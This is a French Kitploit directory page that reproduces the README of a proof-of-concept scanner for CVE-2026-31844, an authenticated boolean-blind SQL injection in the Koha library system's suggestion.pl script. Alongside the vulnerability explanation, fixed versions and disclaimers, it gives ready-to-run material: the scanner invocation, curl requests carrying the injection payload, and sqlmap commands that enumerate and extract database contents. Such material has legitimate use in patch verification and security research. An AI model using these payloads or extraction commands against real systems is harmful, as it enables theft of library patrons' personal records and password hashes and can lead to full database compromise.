Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31844 — # Analyseur d'injection SQL authentifié pour Koha Library Management System (CVE-2026-31844) utilisant la technique aveugle basée sur les booléens pour vérifier la vulnérabilité et extraire des données. | Kitploit
Outils/GitHubGitHub/mothra-1/cve-2026-31844
Scanners de VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

# Analyseur d'injection SQL authentifié pour Koha Library Management System (CVE-2026-31844) utilisant la technique aveugle basée sur les booléens pour vérifier la vulnérabilité et extraire des données.

Voir le dépôt
11il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Koha CVE-2026-31844 : Injection SQL authentifiée

Release Python 3.6+ CVE ID License

Vue d'ensemble

Ce dépôt contient une preuve de concept (PoC) de vulnérabilité responsable pour CVE-2026-31844, une injection SQL authentifiée de haute sévérité dans le système de gestion de bibliothèque Koha.

La vulnérabilité existe dans la fonction GetDistinctValues du fichier C4/Search.pm, qui est appelée par le script /cgi-bin/koha/suggestion/suggestion.pl. Elle peut être exploitée via le paramètre displayby.

  • Bug Koha : #41593
  • Versions corrigées : 26.05.00, 25.11.01, 25.05.07, 24.11.12

Détails de la vulnérabilité

Le paramètre displayby du script suggestion.pl est utilisé pour construire un nom de colonne qualifié par table, qui est ensuite transmis à la fonction GetDistinctValues. Cependant, cette fonction intègre directement le nom de la table et le nom de la colonne dans une requête SQL brute sans effectuer de validation des entrées ni de paramétrage. Par conséquent, un attaquant peut manipuler le paramètre displayby pour injecter du code SQL malveillant dans la requête. Étant donné que l'entrée n'est pas assainie avant d'être incluse dans l'instruction SQL, ce comportement introduit une vulnérabilité d'injection SQL qui peut permettre à un attaquant d'exécuter des commandes SQL arbitraires sur la base de données en utilisant la technique Boolean-Based Blind (aveugle basée sur les booléens).

root@kitploit:~
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );

Découvreur

Raximov Shukrulloh (Mothra)

Vous pouvez scanner votre cible ici

Le scanner utilise une technique Boolean-Based Blind pour vérifier la vulnérabilité

En injectant des instructions conditionnelles dans la position du nom de colonne, nous pouvons observer des réponses HTTP différentielles :

  • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Erreur de sous-requête → HTTP 500
  • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Requête valide → HTTP 200

Si la cible renvoie un 500 pour la condition vraie et un 200 pour la condition fausse, la vulnérabilité est confirmée.

Installation et utilisation

1. Cloner le dépôt

root@kitploit:~
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner

2. Installer les dépendances

root@kitploit:~
pip3 install requests

3. Exécuter le scanner

Vous devez fournir des identifiants valides pour un compte personnel Koha avec la permission suggestions.

root@kitploit:~
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password

Pour les cibles avec des certificats SSL auto-signés :

root@kitploit:~
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl

4. Exemple de sortie

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
║       Authenticated SQLi in suggestion.pl (displayby)         ║
║                 (Responsible Check Only)                      ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!

============================================================
 VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
    [1] Testing baseline request (STATUS)... HTTP 200 (OK)
    [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
    [3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================

[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 

[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.

Preuve de concept (PoC) manuelle

Vous pouvez vérifier manuellement la vulnérabilité via curl. Tout d'abord, authentifiez-vous à l'interface personnelle Koha et capturez votre cookie CGISESSID.

Condition vraie (renvoie HTTP 500) :

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"

Condition fausse (renvoie HTTP 200) :

root@kitploit:~
curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"

5. Exploitation via SQLMap

SQLMap prend en charge nativement l'injection aveugle basée sur les booléens. Pour automatiser l'extraction de données, enregistrez une requête HTTP authentifiée valide dans request.txt. Conservez les cookies csrf_token et CGISESSID valides.

Exemple de request.txt :

root@kitploit:~
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0

Exécutez SQLMap avec la technique booléenne (--technique=B) :

root@kitploit:~
# Extraction de base de données
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs

# Extraire l'utilisateur courant
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user

Ou exécutez-le directement depuis la ligne de commande :

root@kitploit:~
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
  --cookie="CGISESSID=your_session_id_here" \
  -p displayby \
  --dbms=mysql \
  --technique=B \
  --current-db

Après un certain temps, sqlmap identifiera la charge utile correcte.

Impact

Si elle n'est pas corrigée, cette vulnérabilité permet à un attaquant authentifié de :

  1. Extraire des informations sensibles (fiches lecteurs, hachages de mots de passe)
  2. Énumérer le schéma de la base de données
  3. Compromettre entièrement la base de données backend

Atténuation

Mettez à jour Koha vers la version 24.11.12, 25.05.07, 25.11.01 ou 26.05.00 (ou ultérieure) qui inclut un correctif pour cette vulnérabilité.

Crédits

Raximov Shukrulloh (Mothra)

Contact

Bot Telegram @MothraContact_bot

Considérations éthiques

Cette preuve de concept est fournie à des fins éducatives et défensives uniquement. Obtenez toujours une autorisation appropriée avant de tester un système pour détecter des vulnérabilités.

Avertissement

L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Cette preuve de concept ne doit être utilisée que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.

Télécharger l’outil